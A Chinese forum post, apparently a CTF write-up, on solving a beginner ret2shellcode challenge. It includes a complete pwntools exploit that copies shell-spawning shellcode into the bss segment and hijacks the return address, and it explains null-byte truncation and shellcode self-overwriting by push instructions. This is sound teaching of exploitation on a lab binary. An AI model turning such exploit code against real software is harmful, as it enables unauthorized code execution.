首页
论坛
课程
招聘
[原创]记一道简单难度ret2shellcode中遇到的坑
2020-10-11 21:36 1639

[原创]记一道简单难度ret2shellcode中遇到的坑

2020-10-11 21:36
1639

这道题目是大师傅为新生赛出的,有幸拿来做了一下,发现了很多以前没有注意到的问题,特别在这里记录下来

审题流程与思路分析


题目是将用户输入使用strncpy函数拷贝到位于bss段的buf2中,考虑使用shellcraft生成shellcode并跳转执行,然而在仔细阅读汇编代码后发现了问题

函数主体部分如上图所示,主要关注main函数执行完毕后返回的的部分,如图中框选部分所示。var_4的值为-4,框选部分的代码逻辑是将ebp-4地址中的内容赋值给ecx寄存器,使用leave还原ebp和esp状态,将ecx-4这个值赋值给esp,使用retn将esp所指向地址中保存的数据弹出给eip。平常的函数返回时将返回地址记录在ebp+4的位置,而此处main函数返回的流程如上所述【还不完全明白为什么,求大佬讲解orz】
思路很明显,即将shellcode通过strncpy函数拷贝进bss段并利用红框中的跳转思路构造payload将shellcode的地址弹给eip即可

解题流程与遇到的坑

先上最终的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
context.arch="i386"
 
context.terminal='/bin/bash'
#context.log_level='debug'
 
io=process("./ret2shellcode.ret2shellcode")
shellcode=asm(shellcraft.sh())
 
addr=0x080F0A04
payload=flat(addr,shellcode,cyclic(104-48),addr)
#info(hex(len(payload)))
#pause()
#target=0x8048933
#print("len:"+len(shellcode))
 
io.sendlineafter('system!!!',payload)
 
io.interactive()

exp详解

在此用图解的方式讲解会比较形象,在刚发送payload后,栈与buf2中的内容如下图所示

将要准备执行retn之前,栈与buf2中的内容如下图所示

执行完retn后,栈与buf2中的内容如下图所示,此时程序的执行流已经被劫持,紧接着将执行我们的shellcode,即可getshell

遇到的坑

  1. 0x00造成字符串截断
    假设把exp中的
    1
    2
    addr=0x080F0A04
    payload=flat(addr,shellcode,cyclic(104-48),addr)
    更改为
    1
    2
    addr=0x080F0A00
    payload=flat(shellcode,addr,cyclic(104-48),addr+48)
    在逻辑上也可以将函数执行流篡改到shellcode上,但实际并不可以,在查看buf2内容后发现

    箭头所指位置本应存放addr,即0x080F0A00,但在拷贝数据的过程中,在拷贝完shellcode后,strncpy函数读取到了0x00,导致strncpy函数误以为字符串已结束,造成后续数据未成功拷贝进入buf2的错误
  2. esp指针与shellcode代码配合并篡改shellcode的部分代码
    假设把exp中的
    1
    2
    addr=0x080F0A04
    payload=flat(addr,shellcode,cyclic(104-48),addr)
    更改为
    1
    2
    addr=0x080F0A04
    payload=flat('aaaa',shellcode,addr,cyclic(104-52),addr+48)
    所有内容均可被正确地拷贝到buf2中,但单步追踪shellcode的执行过程时发现这样的现象
    这是正常状态下的shellcode代码

    这是进行上述更改后,shellcode执行部分代码后shellcode的内容

    可以发现在执行过程中,shellcode的部分代码被篡改了,造成这个问题的原因如下:
    进行push操作时,先向esp指向的位置写入数据,然后esp自减4,而更改后的写法造成函数执行流被控制进入shellcode后,esp指向了shellcode的末尾,而shellcode的代码中有大量的push操作,造成shellcode在执行过程中将自身的代码篡改的问题

    之后在做题的过程中要更加留意所构造的exp使得最后esp被置为何处,是否会在代码的执行过程中篡改代码内容

[培训]12月3日2020京麒网络安全大会《物联网安全攻防实战》训练营,正在火热报名中!地点:北京 · 新云南皇冠假日酒店

最后于 2020-10-12 22:50 被1TreeForest编辑 ,原因:
收藏
点赞0
打赏
分享
最新回复 (4)
雪    币: 525
活跃值: 活跃值 (63)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
Max_hhg 活跃值 2020-10-22 17:53
2
0
能不能附件
雪    币: 207
活跃值: 活跃值 (37)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
jindaxia 活跃值 2020-10-27 09:56
3
0
在64位下编译的32位程序,gcc自动做的16byte对齐,会产生 lea    esp,[ecx-0x4]这样的汇编
雪    币: 410
活跃值: 活跃值 (57)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
1TreeForest 活跃值 2020-11-20 10:37
4
0
jindaxia 在64位下编译的32位程序,gcc自动做的16byte对齐,会产生 lea esp,[ecx-0x4]这样的汇编
非常感谢
雪    币: 410
活跃值: 活跃值 (57)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
1TreeForest 活跃值 2020-11-20 10:38
5
0
Max_hhg 能不能附件
好的,赛事题目,用完会更新附件
游客
登录 | 注册 方可回帖
返回